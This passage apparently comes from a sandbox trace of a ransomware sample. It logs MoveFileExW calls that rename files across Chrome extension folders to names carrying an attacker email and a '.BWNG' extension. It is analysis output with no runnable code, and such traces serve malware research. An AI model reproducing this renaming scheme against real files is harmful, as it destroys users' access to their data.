Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\[billwong73@yahoo.com].R33z254x-8jEM9Fwv.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\[billwong73@yahoo.com].r33z254x-8jem9fwv.bwng"), dwFlags=0x1) returned 1 [0122.958] GetTickCount () returned 0x116651a [0122.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26491005110) returned 1 [0122.958] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\[billwong73@yahoo.com].ZYCTKKuz-5ndTB85x.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\[billwong73@yahoo.com].zyctkkuz-5ndtb85x.bwng"), dwFlags=0x1) returned 1 [0122.959] GetTickCount () returned 0x116651a [0122.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26491153519) returned 1 [0123.104] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\[billwong73@yahoo.com].6V2ClnPX-qqjPxYVj.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\[billwong73@yahoo.com].6v2clnpx-qqjpxyvj.bwng"), dwFlags=0x1) returned 1 [0123.106] GetTickCount () returned 0x11665b6 [0123.106] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26505808207) returned 1 [0123.106] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\[billwong73@yahoo.com].bfFZQuaS-0SDkmwZA.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\[billwong73@yahoo.com].bffzquas-0sdkmwza.bwng"), dwFlags=0x1) returned 1 [0123.107] GetTickCount () returned 0x11665b6 [0123.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26505966413) returned 1 [0123.108] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\[billwong73@yahoo.com].KyVPim4i-E8zYyaqA.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\[billwong73@yahoo.com].kyvpim4i-e8zyyaqa.bwng"), dwFlags=0x1) returned 1 [0123.109] GetTickCount () returned 0x11665b6 [0123.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26506121571) returned 1 [0123.109] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\[billwong73@yahoo.com].q5JUGWtj-TYmv8Ebr.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\[billwong73@yahoo.com].q5jugwtj-tymv8ebr.bwng"), dwFlags=0x1) returned 1 [0123.110] GetTickCount () returned 0x11665b6 [0123.110] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26506272727) returned 1 [0123.111] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\[billwong73@yahoo.com].EcwAqq9T-5eRrehBT.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\[billwong73@yahoo.com].ecwaqq9t-5errehbt.bwng"), dwFlags=0x1) returned 1 [0123.112] GetTickCount () returned 0x11665b6 [0123.112] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26506423213) returned 1 [0123.112] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\[billwong73@yahoo.com].QsdX9asA-i7aJPg47.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\[billwong73@yahoo.com].qsdx9asa-i7ajpg47.bwng"), dwFlags=0x1) returned 1 [0123.113] GetTickCount () returned 0x11665b6 [0123.113] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26506563908) returned 1 [0123.114] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\[billwong73@yahoo.com].I0AHjLnG-S4vpk2qp.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\[billwong73@yahoo.com].i0ahjlng-s4vpk2qp.bwng"), dwFlags=0x1) returned 1 [0123.115] GetTickCount () returned 0x11665b6 [0123.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26506744703) returned 1 [0123.115] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\[billwong73@yahoo.com].TQvoElQU-bglttYgr.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\[billwong73@yahoo.com].tqvoelqu-bglttygr.bwng"), dwFlags=0x1) returned 1 [0123.117] GetTickCount () returned 0x11665c5 [0123.117] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26506964892) returned 1 [0123.118] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\[billwong73@yahoo.com].vZkquVh4-CHyazvDh.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\[billwong73@yahoo.com].vzkquvh4-chyazvdh.bwng"), dwFlags=0x1) returned 1 [0123.119] GetTickCount () returned 0x11665c5 [0123.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26507126885) returned 1 [0123.119] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\[billwong73@yahoo.com].iMz13nCl-o4Y9W2ef.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\[billwong73@yahoo.com].imz13ncl-o4y9w2ef.bwng"), dwFlags=0x1) returned 1 [0123.121] GetTickCount () returned 0x11665c5 [0123.121] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26507287007) returned 1 [0123.121] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\[billwong73@yahoo.com].OxkkA0Ko-W2LGv2Pa.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\[billwong73@yahoo.com].oxkka0ko-w2lgv2pa.bwng"), dwFlags=0x1) returned 1 [0123.126] GetTickCount () returned 0x11665c5 [0123.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26507820932) returned 1 [0123.126] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\[billwong73@yahoo.com].mJPhaDX8-9YG9Qnsp.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\[billwong73@yahoo.com].mjphadx8-9yg9qnsp.bwng"), dwFlags=0x1) returned 1 [0123.127] GetTickCount () returned 0x11665c5 [0123.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26507967149) returned 1 [0123.128] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\[billwong73@yahoo.com].h7KoXnmU-KRP7k4BX.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\[billwong73@yahoo.com].h7koxnmu-krp7k4bx.bwng"), dwFlags=0x1) returned 1 [0123.129] GetTickCount () returned 0x11665c5 [0123.129] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26508098284) returned 1 [0123.129] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\[billwong73@yahoo.com].Oz5LdNS7-PKDOyRKl.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\[billwong73@yahoo.com].oz5ldns7-pkdoyrkl.bwng"), dwFlags=0x1) returned 1 [0123.130] GetTickCount () returned 0x11665c5 [0123.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26508258060) returned 1 [0123.131] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\[billwong73@yahoo.com].0tyzAqIg-mvrXQqEI.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\[billwong73@yahoo.com].0tyzaqig-mvrxqqei.bwng"), dwFlags=0x1) returned 1 [0123.132] GetTickCount () returned 0x11665d5 [0123.132] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26508439232) returned 1 [0123.132] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\[billwong73@yahoo.com].YNwgi3Cb-aYqUG4BB.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\[billwong73@yahoo.com].ynwgi3cb-ayqug4bb.bwng"), dwFlags=0x1) returned 1 [0123.134] GetTickCount () returned 0x11665d5 [0123.134] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26508625689) returned 1 [0123.134] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\[billwong73@yahoo.com].6tJCdWEU-p4FuItED.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\[billwong73@yahoo.com].6tjcdweu-p4fuited.bwng"), dwFlags=0x1) returned 1 [0123.136] GetTickCount () returned 0x11665d5 [0123.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26508804158) returned 1 [0123.136] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\[billwong73@yahoo.com].2A4dhgVf-OcNA8rRW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\[billwong73@yahoo.com].2a4dhgvf-ocna8rrw.bwng"), dwFlags=0x1) returned 1 [0123.137] GetTickCount () returned 0x11665d5 [0123.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26509089713) returned 1 [0123.139] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\[billwong73@yahoo.com].WY8erNsd-u2eAMzwR.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\[billwong73@yahoo.com].wy8ernsd-u2eamzwr.bwng"), dwFlags=0x1) returned 1 [0123.140] GetTickCount () returned 0x11665d5 [0123.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26509228332) returned 1 [0123.140] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\[billwong73@yahoo.com].OPle6iUN-J1yA9y3G.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\[billwong73@yahoo.com].ople6iun-j1ya9y3g.bwng"), dwFlags=0x1) returned 1 [0123.142] GetTickCount () returned 0x11665d5 [0123.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26509410080) returned 1 [0123.142] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\[billwong73@yahoo.com].YGYhnCHw-a4Aly3Ad.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\[billwong73@yahoo.com].ygyhnchw-a4aly3ad.bwng"), dwFlags=0x1) returned 1 [0123.143] GetTickCount () returned 0x11665d5 [0123.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26509555802) returned 1 [0123.144] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\[billwong73@yahoo.com].IGfA69jQ-01X1ezcT.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\[billwong73@yahoo.com].igfa69jq-01x1ezct.bwng"), dwFlags=0x1) returned 1 [0123.145] GetTickCount () returned 0x11665d5 [0123.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26509709741) returned 1 [0123.145] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json"), 